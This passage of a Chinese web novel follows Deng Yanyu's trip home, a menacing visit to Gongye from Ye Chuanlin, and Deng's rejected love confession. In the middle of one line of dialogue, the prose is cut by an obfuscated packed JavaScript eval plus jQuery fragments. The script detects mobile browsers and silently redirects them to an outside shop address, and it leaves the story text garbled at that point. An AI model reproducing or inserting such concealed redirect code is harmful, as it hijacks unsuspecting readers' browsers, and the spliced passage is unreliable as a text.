邓烟雨加大了声量,这回他们听见了,老爷爷颤巍巍转过头,一脸懵懂地和她对视,见她长得像自己外孙女,老爷爷和蔼地笑了。 “这是温茉的家吗?” “……谁?什么?” 邓烟雨没办法了,吸了口气,拿出咆哮的劲逐字重复,特意咬重“温茉”两个字。老爷爷听完,含糊地说“对……对……”,话里带着小佛山的口音,和灯港方言有差别,邓烟雨一个字都没听懂。 老奶奶也只是呵呵一乐,觉着这姑娘好玩,笑得皱纹更深了。 邓烟雨稍作停顿,接着说:“温招娣是住这的吗?温招娣!” 这名字一出,轮椅里的奶奶探起了上半身。 “招娣,”她朝邓烟雨伸出苍老枯瘦的手,握住,普通话夹杂着方言,“是招娣回来了吗?” “您是招娣的外婆吧?”邓烟雨仍然大着嗓门,不过语调放缓了,“我是温招娣的……朋友。” 两个老人笑了:“招娣好吗?” “她在大城市生活得很好,”邓烟雨把袋子递过去,里面是超市买来的各种吃的用的,“她工作太忙了,过年回不来,我老家也在灯港,所以她让我带东西给你们,她说她过得很好,让你们别担心!” “好啊,好,”老奶奶很舍不得地拨开购物袋看看,嘴里的牙掉光了,笑得像个孩子,口齿不清地说,“谢谢你闺女,谢谢。” 邓烟雨送了送他们,前面便是岔路口了,她没再跟着。两道佝偻的背影慢慢淡出视野,但一直挨得很近,定是在说笑着什么。 午后微风适宜,路边紫色的野花开得正盛,灯港本周气温将持续攀升,最高可达十九度。 她不知道这个谎可以圆多久,至少现在他们能沉浸在幸福中,已足够。 邓烟雨离开了小佛山,乘公交回到狮城,快近小区时,她看见打扮得风骚时髦的楚知元双手抱臂,盛气凌人堵在小区大门口,正等她这条大鱼上钩。 又整这死出。邓烟雨心下腹诽着,面上装得贼乖,老老实实往这位花样美男跟前一站,嬉皮笑脸说:“知元哥,我回来了。” “烟雨啊,”楚知元挤出灿烂的笑,“麻烦以后外出先报备再行动好吗,不要等到了小佛山才给我微信上来一句‘我想出去一趟可以吗?’的无意义征求。” “哈哈哈,好的,我是忘记和你说了,下次一定。” “还好意思下次一定……”楚知元气呼呼点她脑门,“小祖宗,你是我的重点保护对象,但凡你有个三长两短,渡莲会宰了我的!” “不会的啦,他最近忙成陀螺,有时候半夜才回我消息,肯定没时间飞来灯港宰你的。” “哟呵,考虑得真周全,”楚知元挑拨离间道,“他半夜回你消息,你就不怕他是去花天酒地了吗?” “不可能的,”邓烟雨瞟他一眼,说,“只有你会。” “……” 小妮子很好,话说一套一套的。 楚知元玩不过她,任劳任怨送她回家,刷着手机说:“啥时候走?” “学校开学了,我明天就要回歌华,”所有必修课补考的噩耗并没影响邓烟雨回去见公冶的好心情,“行礼都收拾好了,万事俱备只欠飞机。” 楚知元点头,说:“肩伤记得定期复查,你的病历资料会送去格拉海德,找靳南就行。” 邓烟雨默默瞅着他。 楚知元狐疑地问:“怎么?” “你刚刚说话好像公冶警官。” “我像他?!”他差点飙出高音,“我怎么会像那个闷骚男!” 邓烟雨和他一拍即合,打了他一下:“啊是吧,我也觉得他闷骚!” 楚知元愣是被她逗笑了:“我看你们半斤八两!赶紧回歌华吧,白天伺候你行程,晚上应付他盘查,我过个年把自己过成保姆了。” “同志辛苦了,”邓烟雨负手说,“下次给你带小熊软糖吃。” “我才不要。” 晚上,邓烟雨洗完澡裹在被窝里,和往常一样找公冶聊天,她把今天去小佛山送温暖以及楚知元说他闷骚的小报告都打了出去。 两小时过去了,直到睡前,她也没等来公冶的回复。 又在处理案子吗? 邓烟雨把手机举到空中,好像是以为信号差才接收不到他的信息,举累了就卷着被子滚来滚去,像只海豹咕噜噜地扭。她想打视频电话,告诉他明天就要回来了,又担心打扰他工作。 可是好想听听他的声音,已经一个多月没听到了。 手指悬在“语音通话”的按键上,邓烟雨思虑良久,最终决定放弃,结果指尖不小心蹭到了按键,发现时,界面已变成“等待对方接受邀请……”。 邓烟雨:“……” 邓烟雨:“啊!!” 她惊坐而起,手慌得不知该按哪,刚要点取消,对面快了一步,接通了。 一阵短暂的静音过后。 “……小雨?” 低缓柔和的嗓音自那端流出,背景里并无嘈杂人声,特别安静。 邓烟雨整个人紧绷了起来,她捧着手机,贴到发烫的耳边:“公冶警官,我没打扰你工作吧?” “没有,我已经下班了。有事吗?” “啊,那个……”邓烟雨心跳加速,“我明天要回歌华了。” 对面沉默了几秒:“伤怎么样?” “已经没大碍了,知元哥还把我的病历资料发给了靳医生,说让我定期去找他复查。” 对面应了声,说:“那就好。” “那,那我……”邓烟雨揪着被子角,双腿在被窝里轻微磨蹭,有好多想说的话在他死水一般的等待里渐渐溃散了,电话那头的人一点情绪也没有。 他静得像不存在。 心口倏忽之间缺了一块,邓烟雨有种感觉——他在隐忍。 “你的伤呢?都好了吗?” “我没事,放心。” 她眼中的光芒熄灭了:“那我……回歌华以后,再找你聊。” “好,很晚了快睡吧,晚安。” “晚安……” 邓烟雨结束了通话,放下手机,难以名状的落空感遍布全身,她下床走到书桌前,拉开底层的抽屉,里面有只铁盒子。 她打开铁盒子,盒子里仅放了一枚氧化的飞鸟徽章,原本鲜艳的色彩几乎褪成铁锈红。 邓烟雨摸着徽章凹陷的浅坑,坐在桌前,很久没动。 啪嗒——手机没放稳,擦着床头柜坠落,公冶并不打算捡,埋在枕头里忍耐着身体的不适,垂落的手臂边,止痛药散了一地。 他下班回来就睡了,若非邓烟雨打来语音通话震醒了他,他可能要一直睡下去。 偌大的卧室一片岑寂,黑暗似河水流淌,拢紧的窗帘中间有条缝,冷白的光影泻进来,延向床边。 公冶掀开被子坐起,月色丝丝缕缕凝成细长的刃,照在他左胸膛的位置。 “蛋宝。” 【偶在偶在,主人,泥还豪吗?】 蛋宝似乎怕他太寂寞了,故意用搞怪的腔调回答,眨巴豆豆眼。 公冶撑住额头缓解着疼痛,随后睁开眼,一汪干净的翠绿里显满疲惫。 “开地暖。” 【主人,目前室内温度十九摄氏度,您确定要开吗?】 “没事,”公冶身上很冷,他说,“开吧。” 他捡了手机,读了邓烟雨发给他的消息,想回点什么,却觉得都到这地步了也没必要。 公冶去外面倒水喝,家里一盏灯未开,只余轻微走动。随着玻璃杯里的重量越来越沉,他手突然使不上劲,杯子砸在脚边摔成粉碎。 他从异常清脆的响声中回神,看看自己的手,暗叹一声,蹲下来拾地上浸湿的碎片,客厅落地窗没关,偏寒的夜风恍惚间吹来了一道身影—— 叶穿林的身影。 “408,几天没见了,你想我吗?” 叶穿林把蝴蝶假面轻甩在茶几上,面向公冶,做出老朋友拥抱的姿势:“我没被大火烧死,是不是很意外?” 公冶撑着桌面的手挪开了,从餐桌后绕出来:“找我什么事。” “你有东西落在灯港了,我给你送来,”他摇了摇手中的检测仪,随面具一块放下,再说,“我还捅伤了你,妈妈得知后非常生气,命令我来跟你道歉。” 叶穿林拽挺身上的警服,讪讪笑道:“对不起,渡莲,请你原谅我吧。” 公冶冷眼瞧着他,嫌恶之意溢于言表:“这身脱了吧,你不配穿。” “是么,”叶穿林笑弯了眼,“那我辞职好了,我也无所谓这些。顺便问问你,你准备何时回家?” 公冶管自己洗起了调酒的器具,根本不理睬他。 “听见我说话了吗,”叶穿林细赏自己漂亮的指甲,“我们都很想你,包括妈妈,若你抉择不好,择日不如撞日,今天就跟我回……” “我不会再回独玉。” 不锈钢器具受到一股股水流冲洗,不断磕碰着,叶穿林阴柔的脸自暗处侧到灯光下,他欺身靠近公冶,犹如恶鬼低语道:“身体发生那么明显的异变,你自己都不紧张么?” 水声没停止,公冶动作变化极浅,阴沉的目光藏在黑发下。 “你在歌华这些年当牛做马上瘾了啊,给点甜头就忘了本。” “不用你来提醒,我没有忘记征用的期限。” “渡莲,你对我们误会太深了,”叶穿林背过身靠着流理台,轻叹,“我看得出来,这八年你在歌华待得不快乐,歌华的人对你做了什么,让你如此警惕我?” 公冶轻笑:“我警惕你什么了,自我意识过剩。” 叶穿林也笑了:“你是怕我说中什么吧?怕我告诉你,歌华公安之所以善待你,是你的真实身份有利可图,值得他们动用人脉把你收入囊中。” 清洗的声响加快了些。 “不久前公安部收到了一封匿名信,赵平功为此事专程跑了趟,我想你的调动不日便会批下来,所以你还是听我一句劝,认命吧,歌华不会留你了,接下来无论你逃到哪里,结局都只有一个,那便是痛苦地死去。” “朗玉山也一样虚伪,他从来没有替你的身体考虑,反观妈妈,她为了让你健康地活下去,宁可被你记恨,被你伤害,她毫无怨言。” 餐桌上的白俄罗斯鸡尾酒美观诱人,叶穿林抹了一指奶油,凄冷地说:“太傻了。” “你曲解了妈妈,她才是拼了命地在拯救你,你知道吗,歌华为了盗取独玉分所的实验数据,派了熊小滚和朗玉山来,就是那年!那一年,你可是亲眼看到的!渡莲——他们才是抓了你把你当小白鼠的恶人!你以为这八年,朗玉山是在治疗你吗?你快死了你知不知道?!” 砰一声!摇酒壶砸进水槽,公冶双手滴水,浑身爆着冰冷的气焰。 “立刻从我家出去。” 叶穿林看他如此执迷不悟,低头失声一笑。 “邓烟雨。” 这三个字从他口中说出来,如同剧毒麻痹了公冶的神经。 公冶僵硬地转过脸。 “老家在狮城槐花路的幸福里小区,现就读于歌华财经政法大学,租住的公寓……” 后半段话无迹可寻,一只手凶猛地提起了叶穿林。公冶无需用力,“等级压制”足以让此人闭嘴。 “你有种碰她一下试试。” “哈!哈哈哈——”叶穿林被他掐着,笑得贼快活,“对嘛,就是要这……样。” “你想干什么,”公冶直视着眼前的疯子,“为什么调查她?!” “嗬……说实话,让她离你远点,妈妈不太喜欢她天天凑你身边转圈,女人一生气,什么事都干得出来哦,”叶穿林强撑着笑,拍拍他掐自己的手,“乖乖听我们的话,你可以不回独玉,相反的你要帮我们。” 公冶眼中透出难以置信。 “永远帮我们,即便是待在歌华,你也要向着我们,听懂了吗?” “我的意思很好理解吧?” 叶穿林甩开公冶的手,揉着脖子:“你要明白,你就是条走狗,但是当公安的走狗有什么好玩的,放手去做吧,首先就从歌华开始,这污糟的首都该得到一顿清算了。” “你身体也逼近极限了,”叶穿林视线下移,“心脏很痛吧?没事的,再过不久,你会和地下乐园的怪物一样,什么苦痛都感知不到了。” “只有妈妈能救你。” 公冶脸色难看。 “好歹见过江邂月和盛夺了,红鸽的骨干都在为我们做事,你还畏首畏尾些什么呢?我只要你一个点头,抑制剂立马双手奉上,”叶穿林拉正领带,往门口踱去,“我很宽容的,限你一个月时间考虑,别让我失望。” 窗帘起伏着,蝴蝶面具折射幽光,开门之际,他身后传来一声: “叶穿林。” 公冶走向他,声音被风刮碎了:“不要去找邓烟雨。” 叶穿林漠然不语,只是渗渗盯着公冶。公冶大脑空白,说出了一句连自己也不信的话:“我会考虑的。” “不要伤害她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579319|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 得到满意的回复,叶穿林冲他友好地笑了一笑,祝福道:“你会长命百岁的。” 便关上门走了。 一束璀璨烟花炸亮在夜空下,刹那的焰火映出一个孤单的身影。 都二月底了,还有人在放烟火。 他将碎玻璃扔进垃圾桶,往沙发上一坐,累得头疼。茶几收拾过了,但当时除了检测仪,叶穿林还给他带来了一样东西,故意压在假面底下—— 是公美娃娃。 公冶拿起那只娃娃。它不能再还给邓烟雨,因为它被火烧焦了,半张脸污黑破烂,一条腿也断了,染脏的棉絮漏了出来,看上去……太丑陋了。 他轻握着娃娃,在空荡荡的客厅里待到了后半夜。 五日后,歌华财经政法大学。 “烟雨——!”庆威凤和蔡蔡狂挥手臂,向广场上的女孩飞奔而去。 “威凤——蔡蔡——” 邓烟雨扬开双臂迎接,三个女孩抱在了一起,笑得格外开心,邓烟雨元气满满喊道:“我胡汉三又回来啦!” “汉三哥威武!那么汉三哥补考的怎么样?!” “兄弟们,不要哪壶不开提哪壶好吗!”邓烟雨被她们勾搭在中间,闪着泪光十指交扣,“我一整个寒假都在发愤图强,住院还不忘复习,希望老师看在我脑子没有被炸傻的份上给我个及格吧。” “会的会的,文殊菩萨保佑你。”蔡蔡在邓烟雨头顶画了个圈,手动洒了些无实物的星星。 她们来到三楼的教室,坐在比较空的一排,各自放下了包。 “明天我要去山姆大采购,听说上新了车厘子蛋糕,你们来不来?” “车厘子!好想吃!可我去不了,我的社恐小姨拉我做美甲。” “我也去不了,”邓烟雨难为情地说,“明天有约会。” “约会?和哪个臭男人!” “还能和谁呀,”庆威凤一脸磕到了的激动,“公冶警官吗?你们啥时候交往的!” “没呢,我打算和他告白,所以周六把他约出来了。” “哟哟哟,”蔡蔡戳她,“女追男隔层纱,何况他还陪你回家过年,爸妈都见过了,告白妥妥是走个形式,你就等着他说‘Ido’吧!” 邓烟雨耳根子都红了。 “这样我们里面就差威凤没有男朋友了。” 庆威凤欲哭无泪:“我哪有时间找,我要准备考证了。” “对哦,你说要备考CFA来着,上次实习怎么样?” “别提了,之前面试被刷了,你是不知道,那些面试官跟皇帝似的,说错一句话就把我刷了,我只好走后门,去我哥公司端茶倒水了一个月。” “哈哈哈哈,苦了你了,”蔡蔡转向另一边,“烟雨,你不考虑找家公司实习起来吗?” “我……”邓烟雨趴在桌上,苦恼地推着水笔,“还没有就业方向。” “先不管就业方向,积累经验再说嘛,目前就业环境不好,我好怕一毕业就失业。” “那我是不是该把告白先放一边啊,”邓烟雨幡然醒悟,男人再好,哪比得上学业重要,“我也得积累一些实习经验,可我们的专业找实习好局限。” “是吧!”庆威凤摊手,“我好无语,当初因为我哥学了金融,我想着以后找工作他能帮我,就两眼一抓瞎跳进这火坑了,早知道转专业了。” 邓烟雨托腮问:“你哥做什么的?” “他在证券公司工作。” “那挺好呀,我也比较倾向券商。” “别急啦,才大三就给自己那么大压力干嘛?找工作其实不难,难的是找到自己称心满意的工作,”蔡蔡一边打游戏一边天花乱坠地剖析,“等毕业了咱们就要打几十年的工了,累死累活大半辈子只为了老来那点退休金,想想就够惨,所以何必太着急呢,烟雨你也别犯愁了,在此之前先搞定公冶警官呗,或许和他在一起了,你就会产生新的目标,琴子就是嫁给了直树,后来才决定去做护士的,对吧?” “但直树也是因为琴子的鼓励才去成为的医生,他们是相互促就,共同进步。” “对啦,你可以和问问公冶警官,他当时求职是个什么情况,也好给自己做参考。” 听着庆威凤和蔡蔡的争论,邓烟雨心底或多或少会滋生焦虑情绪,她恍然意识到自己的人生轨迹即将迎来一个大转折。 “踏入社会好难啊。” 那边还在聊着考证的事情,从CFA跳到CPA,跃跃欲试,看来她们要考的不止一个,“官网看看”、“四月报名啦”的话题穿插在邓烟雨耳畔。 四月? 邓烟雨空空的脑袋拉响警报,她想起他的生日快到了。 于是整节课,邓烟雨都在开小差。她挑了一上午的生日礼物,挑到去吃中午饭,庆威凤都快吃完了,她依旧没怎么动筷。 “烟雨,你的面面快糊了。” 邓烟雨扒了两口继续浏览着页面,问道:“你们说男生是喜欢鞋子,还是汽车模型?” 蔡蔡偷偷夹了她碗里的叉烧,说:“你把自己打包送给他吧。” 邓烟雨丝毫没察觉:“我看了一个卡地亚的钥匙扣。” 庆威凤也偷偷夹走一块:“钥匙扣可以,不过卡地亚好贵呀,要好几千,你零花钱够吗?” “不够,看来我得去赚钱……”邓烟雨视线落下,“我的肉呐?!你们两个——” 她们吃完饭走出食堂,庆威凤和蔡蔡唠叨着最近另一桩烦心事:“我姑姑也真是的,早不开张晚不开张,偏偏开在这节骨眼上,我又要备考,又要帮她照顾店面,从来没这么累过——” 蔡蔡好奇道:“你姑开了什么店呀?” “面包店啦,她以为开不下去的,谁知地理位置太好,来买的人还挺多,结果她家的店员小姐姐上周去溜冰,摔伤了脚踝下不来床,我姑姑一个人忙得晕头转向,只好叫我去兼……” “你们好。” 身后不紧不慢出现一个声音,温润且富有磁性,她们回头,看见一名穿扮得体的男子,他有些年纪了,但保养得当,一身气质谦谦如玉。 他要去行政楼,向女孩们问了路,庆威凤热心地给他指路,而邓烟雨的眼睛从始至终都一眨不眨盯在他胸口正中央。 他大衣敞开,里面是深色西装,笔直的领带上夹着一枚银白领带夹,在阳光下反出细致冷淡的光泽。 邓烟雨目光轻颤。 那本是再微末不过的一丝存在,可正是有了这枚领带夹,让这个男人看起来具有一种与众不同的高贵感。 邓烟雨一下子豁然开朗,这比明天和公冶出去玩还要令她振奋。 “话说我们刚聊到哪了?” “说你去面包店帮忙的……” “威凤!”邓烟雨一把抓住庆威凤的手,眼神坚定得像要去参军,“你专心备考,我帮你去面包店兼职吧!” 67. 告白 晚上回到公寓,邓烟雨饭也没做,端着一碗蔬菜沙拉,打开衣柜,宛如吹毛求疵的皇帝挑起了她的新装。试试换换一个钟头,床上已经摊满山高的衣服,却没有一套令她满意。 她叉了颗小番茄,像得不到完美方案的甲方,露出失望的表情:“我当初买你们干嘛?” 极乐之前发给她一个占星公众号,邓烟雨根据明天的幸运色,好不容易搭配出一套适合约会的开衫和裙子,去年买的耳环也从犄角旮旯翻了出来。她在试衣镜前美滋滋地转上一圈,又欣赏了很久,然后一股脑脱光,哼着歌洗澡去了。 次日邓烟雨醒得很早,良好的皮肤状态没有让妆容卡粉,她预热卷发棒熟练地夹了几下发尾,绾了朵小花苞在右侧,用酷可丽的编织发绳绑好,亮片正好垂在耳边,晃出一闪一闪的光。 她检查完包里的东西,匆匆穿上靴子,在楼下买了个豆沙包便去赴约了。 见面地点定在星湖人民广场,那里立着一口景观钟,很好找。邓烟雨早了十分钟抵达,以为公冶还没来,一望发现他已在长椅上坐着了。 邓烟雨悄悄地绕到他身后,伸出手捂住他的眼睛。 “猜猜我是谁——” 公冶浏览着手机上的讯息,眼前忽地一黑,护手霜香气淡淡萦绕。 “是谁呢,”公冶配合地回答,“首先排除小雨。” “哦天呐,这真是见鬼了,公冶上校,”邓烟雨压着嗓瓮声说,“我亲爱的上帝,瞧瞧您做的这个决定,您确定要排除她吗?” 公冶被她活灵活现的经典翻译腔语气逗笑了。 “我亲爱的邓夫人,请把光明还给我吧。” 邓烟雨大笑着拿开手,亲密地摇了摇他:“你来好早啊。” “在家没事做,就提早来了。” “我们去哪玩?” 公冶回头看她:“想不好,今天一天都由你来定。” 邓烟雨目不转睛盯着他,一句话也不说,公冶用目光询问,邓烟雨便捧起他的脸,认真地说:“你瘦了。” 公冶神色微变,躲开了视线:“最近在戒糖。” “那我们去吃东西吧,”她心疼地摸摸这颗舒服的狗脑袋,拉起他,“牛肉煲怎么样?” 他们四处逛了逛,去吃了牛肉火锅。这家店味道挺正宗,用餐期间邓烟雨老妈子附身不停给他夹肉,嘱咐他多吃些,多吃才可以长身体,公冶忍住没吐槽,听话地把满满一碗肉全解决了。 邓烟雨还往锅里下了份面,趁她干着自己碗里的肉,公冶捞出面,把煮熟的牛肉铺在上面,淋了沙茶酱,端给她。 “我好幸福啊,”邓烟雨嘴边沾着酱汁,“如果选择另一半能不分物种,我肯定会嫁给牛肉。” 公冶想起邓烟雨寒假和他说打卡了一家巨好吃的农家菜:“你之前还说最爱油爆虾,它现在不配了吗?” “不配了,我不会嫁给油爆虾的。” “口水鸡呢?” “唔……”邓烟雨迟疑了,“不行,它太好吃了,不能放弃。” “剁椒龙利鱼呢?” 邓烟雨沉默了。 公冶放下筷子,镇定地说:“你另一半还挺多。” 明明只是句调侃,邓烟雨竟为自己的“三心二意”开脱道:“但我合法的另一半就要一个。” 公冶一时没接上,气氛微妙地沉重了一秒。 邓烟雨没打算那么早捅破,赶紧转移话题:“都一个月没见了,你难道没看出我有什么变化吗?” 公冶端详对坐埋头苦干的女孩:“更能吃……” 邓烟雨嚼着牛肉杀出一眼,公冶立马换了副腔调,笑着说:“变好看了。” “真的吗!” “嗯,你化妆技术越发好了。” “……” 直男。 盘子里的面吃光了,他仍在看她。 “干嘛?” 公冶指了指自己唇边:“我在想,你要多久才会注意到。” “啊?沾到啦?”邓烟雨用手指抹了抹,脸更花了,“干净了吗?” 公冶笑了,探身过去,替她抹掉。 她似乎紧张了一下,温热的呼吸轻洒在他的虎口上。 四目相触,邓烟雨眼里蕴藏着滚烫的东西,略有瑟缩,又满含期待,她今天一次也没躲开他的目光,若他肯问下去,他知道,她一定会说的。 公冶收回了手,纸巾擦净,起身去结账了。 店内聊天声高涨,夹杂一大姐豪爽的笑声,短短几分钟付款的工夫,公冶突然下定了决心。 他要在今天做一个了断。 下午邓烟雨提议去逛图书馆,有关考证的书想翻一翻,结果一进图书馆她直奔小说区,并意外挖掘出一本古早的热血武侠漫画。 邓烟雨读完第一本意犹未尽,但架子上的系列残缺不全,她决定网上买。公冶没跟过来,她便去寻了,找了好几圈最后在经济管理类的书架那找到了,他在帮她挑考注册会计师可以看的书。 尽头的窗帘没拉上,阳光跃过光洁的桌面,向他倾泻而来,连发丝也镀了一层柔光。邓烟雨不忍心打破这一幕,走到书架的另一面,偷偷取走两本书,恰好能从缝隙里看见他拿书的手。 对面的桌子坐了对情侣,邓烟雨的注意力很快被他们打断,他们居然在落针可闻的图书馆里接吻。她耳朵红了,仓促将书一塞,急急跑回公冶身边,殊不知公冶早就离开了原先的位置,正朝她的方向迈来。 两个人在转角口撞了个满怀,邓烟雨脚一滑,投怀送抱似的扑进他怀里,公冶被撞得靠向书架,重心倒没乱,伸手迅速扶住了邓烟雨。 图书馆要保持肃静,两人皆大气不敢出,邓烟雨待在他怀里迟迟未动。 心跳声离得好近。 她无意识地向他贴紧,手也不安分了,往他腰间小心翼翼滑去。分不清是谁的心脏在怦怦撞着,邓烟雨头脑一热,闭住眼说:“公冶警官,我……” 没等她说完,两本书硬生生塞进了彼此的中间。 上方传来声音:“这两本可以看看,对你考证有益。” 她仰头,哑然接过书。 “借书的卡有吗?” “……有的,”邓烟雨轻声说,“我办了。” 公冶点头,没去看她的脸,若无其事翻起了其他的书。邓烟雨亦步亦趋跟在后面,那种熟悉的落空感再次袭上心头。 他依然温柔,可这份温柔是出于客气和帮助,是建立在基本的尊重上更疏离的尊重,比陌生人之间的礼貌更妥帖的礼貌,他的温柔限制着情感,是对任何一个人都可以给予的温柔。 并非独属她的。 邓烟雨去拉他衣角,和他对视了一阵,说:“我想出去了,有点闷。” 很闷,窒息的那种闷。 掺杂在他们若即若离的关系里。 星湖区北面临江新造了一个城市阳台,是个全天开放的公园,观潮的地方架在江面上,八月潮起时挺壮观,很多人会选择夜晚来江边散步或慢跑。 邓烟雨想散散心,去主阳台上吹风了,公冶陪在她身边,也没多说什么。江对岸华灯初上,不少年轻人倚着栏杆拍照赏景,有几个家长没管小孩,放任他们追逐尖叫,吓到了一只胆小的柯基犬。 周围欢声笑语一派融洽,愈发衬得他们气氛惨淡糟糕。 快七点了,邓烟雨从图书馆出来就没吃过东西,公冶注意着她的情绪,问:“要买点……” “我不饿。” 她淡淡告知完,便往下面的小公园走去,被丢在后面的公冶默然低首,但不放心她一个人走,还是跟了上去。 他们路过打闹的小孩、拍短视频的年轻人、一辆流动雪糕车,全程一句对话也没发生。 其实想等他说完再回答的,可心里的不愉快积压太久了,他一开口,她就心烦气躁要去打断。 说到底,一切都没摊开,他也无辜受了冷暴力,邓烟雨置气有几成是在气自己,她不明白自己为何要无理取闹。 走了半天,气也消了一半,反省也反省过了,消沉的心情也被初春的江风吹凉了。邓烟雨站住脚步,转身对他说:“冰淇淋……” “什么?” “我想吃冰淇淋。” 公冶一愣:“今天挺冷的,吃了不会胃难受么?” “……” 邓烟雨没说话,此时此刻的她可以随便被人欺负,像一潭死水,不会再泛开丝毫涟漪。 “去买吧,走。” 公冶折返了,走出几步发觉身后空空的,回头望去,邓烟雨拽着包包的链条,没跟上来。 江水的气息异常萧瑟冰冷,从他们中间拂过,公冶没等多久,便走向她,一把牵起了她的手。 她快哭了。 可是,已经决定好,就算她哭了,他也不能心软。 十五分钟后,邓烟雨坐在长椅上吃着香草冰淇淋,脸上的不开心消散了,好像只是走累了要歇一歇。 还剩一口,邓烟雨问:“你不要吃吗?” “戒糖呢,”公冶说,“以后再吃。” 邓烟雨嗯了一声,一次性木勺戳着融化的冰淇淋:“对不起,今天莫名其妙发了脾气,我不会再这样了。” “你不需要道歉,是我没有及时处理好我们之间的关系,拖到现在,”公冶搁在腿上的手紧了几分,“我太没有分寸了,对不起。” “不是的!”邓烟雨放下冰淇淋,站到他面前,“你没做错什么,反而是我……很多时候在自作多情,或许维持现状是最好的,但我仍然要说。” 公冶慢慢抬起头,对上她清黑明亮的眼睛—— 有那么一瞬间,他感觉他们的位置调换了,那天在黑巷里,她也是这么慢慢抬起头,去看他的眼睛。 “我很喜欢……我非常喜欢你,”邓烟雨看着他,“从第二次在医院见面就喜欢上你了,后来是在与你的相处中,发现了你身上也有可爱的一面,我长这么大从没喜欢过谁,你是我的初恋,但我不太懂得该如何表达,甚至趁你睡着时与你过分亲昵,如果 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“我一个人过惯了,往后也会独自生活下去,小雨你那么好,应该找一个更适合你,能给你带来幸福的人。” “没有了!”邓烟雨摇头,“除了你没有人能让我——” “我办不到。” “……” “倘若继续按照以前的方式相处,总有一天我会伤害到你,我不想让那种事发生,而且我树敌太多,和我交往,你会非常累。” “你值得更好的人,不必在我身上浪费时间。” “我不怕危险,”邓烟雨眼中出现挣扎的碎光,“我们可以一起克服困难,你不能相信我一次吗,我会变强,不会成为你的累赘!” “你不是累赘,永远不是,我希望你能平安,离危险越远越好,你母亲虽然嘴上不说,但你昏迷的那两天,她的眼泪就没断过。为你自己,也为家人,去好好地生活。” 邓烟雨嘴唇轻抖:“没有你的生活我不要……” “小雨,”他筋疲力尽,“我不想耽误你。” 不想耽误她,他们是两路的水流,即便有交汇的一刻,最终还是要分道扬镳奔赴自己的命运。 “不能在一起?”她声音满含哀求,“尝试一下都不可以?” “抱歉。” “不要……”邓烟雨哭出了声,似乎都不愿意正常地思考了,“我什么都不怕,我只要你,我真的很喜欢你,你不能骗我一次吗……那天!我们从新座回来做晚饭那天,你是要跟我表白的对吗!” “公冶警官你喜欢我!你喜欢我的——” “我没有。” “……” 僻静的公园里独余簌簌叶响,公冶正视着她,说:“我没有喜欢过你。” 邓烟雨没再说话,可公冶看见了,她满眼支离破碎,一丁点光亮都找不到了。 她尽量没眨动眼睛,后退半步,看在别处:“那我们……还能做朋友吗?” “能继续做朋友吗?” 她的委曲求全几乎可以杀死他。 公冶想拒绝,可最后还是轻微点了点头。 邓烟雨努力笑起来:“那就好,我就怕和你表白了,连朋友也做不成了。我知道啦!不会再说这些了,我会调整好自己状态,你也放轻松不要有压力……我……我回去了。” “我……” “不用送我!我坐地铁很快的,就在这里分开吧。” “……到家了发条消息。” “嗯。” 邓烟雨和他道了再见,转身离开,中途怕回头,特意加快了脚步。跑出城市阳台,她已经哭花了妆,只好躲去公共厕所,擦掉满脸黑痕的泪水。 出来后,邓烟雨面色苍白,走到地铁站的台阶直接坐下了。没过多久一只流浪三花猫从灌木丛里钻出来,默默趴到了她身边。 邓烟雨在网上看到过,有些流浪猫经常会“夜间出诊”,遇到情绪不好的人在街边坐着,就会过去贴一贴,帮忙赶走他们的坏心情。 她本来能忍着的,可得到了这只小猫的关怀与陪伴,泪水再次蒙了上来。邓烟雨抚摸着它柔软的背部,哑声说:“小可爱,你怎么这么乖呀?” 三花猫耳朵在动,轻轻喵了一声,像是在说“还好吗?别哭了”。 邓烟雨揉着它的脑袋,和它待了很久,从包里拿出小面包喂了它,然后收拾好心情起身。 三花猫静静坐在口子上,看着她走进了地铁站,直到消失不见。 公冶一个人坐在长椅上,撑着额头,到现在也没缓过来。 “这么伤女孩的心,公冶渡莲,你烂人一个啊。” 很少有人会在外面喊他的名字,公冶循着陌生的声源侧头望去,一名穿西装的褐发男子站在几米开外,他身旁有个女子,相貌略觉眼熟。 寇栗向他跨近一步,忧心地唤道:“莲,是我,寇栗。” “你还记得我吗?” 68. 暗流 “我当然记得。” 他掩饰不住语气里的惊讶,想问的话太多,却不知该从何问起。 “抱歉,这么久了才来见你,知元他好吗?” “他一切都好。”公冶说着,目光移去后方,尹离舟就在树下,插着裤兜站姿随性,公冶曾在涉密信息系统里见过这张脸。 察觉到他眼中有极其明显的抵触,尹离舟无所谓地耸肩笑笑:“哦,这么防备我啊,跟小动物一样可爱,那我不靠近了,你们聊。” 寇栗轻轻瞪了他一眼,坐到公冶旁边,无奈道:“他就这样,你别管他。” “你怎么和他在一起?” “……我加入红鸽了。” 公冶无话可说。这个季节,路灯下还没有飞虫围绕,他盯着脚前的落叶,打不起精神,也没心思交谈。 寇栗知道他情绪低落,陪他坐了一阵,说:“十二年前和你们失散以后,我怕顾令萍找到我,每天像只老鼠躲着人,白天都不敢在街上走,那段时间活得太艰难了,最后实在没钱,不得不去出卖身体,买我的便是尹离舟。” 公冶皱眉。 “不过我反悔了,本以为会被他杀死,他却把我安排在身边做事,我便稀里糊涂跟了他,这一跟就跟到现在,也是借此机会,让我了解到红鸽内部到底被蛀成了什么样子。” “莲,你能帮帮我们吗?” 公冶貌似没听懂,转头看向寇栗:“帮你们?” “嗯,与其说是让你帮我们……”寇栗似有难言之隐,“实则我是希望,你能与我们站在一条战线上。” 落叶翻滚了一圈,快跑出路灯的光照区域了。公冶没有回绝,也没答应。 “你是第二个。” 这回轮到寇栗听不懂了:“什么?” “叶穿林也来找过我,但他不是这套说辞。” 公冶无意间瞥向一旁,尹离舟逮着了只野猫,野猫似乎要往公冶这边来,但被半路杀出的尹咬金截胡了,弓开一背的毛嗷嗷冲人叫唤。 他没有过久地沉默,轻描淡写问道:“红鸽内讧了?” 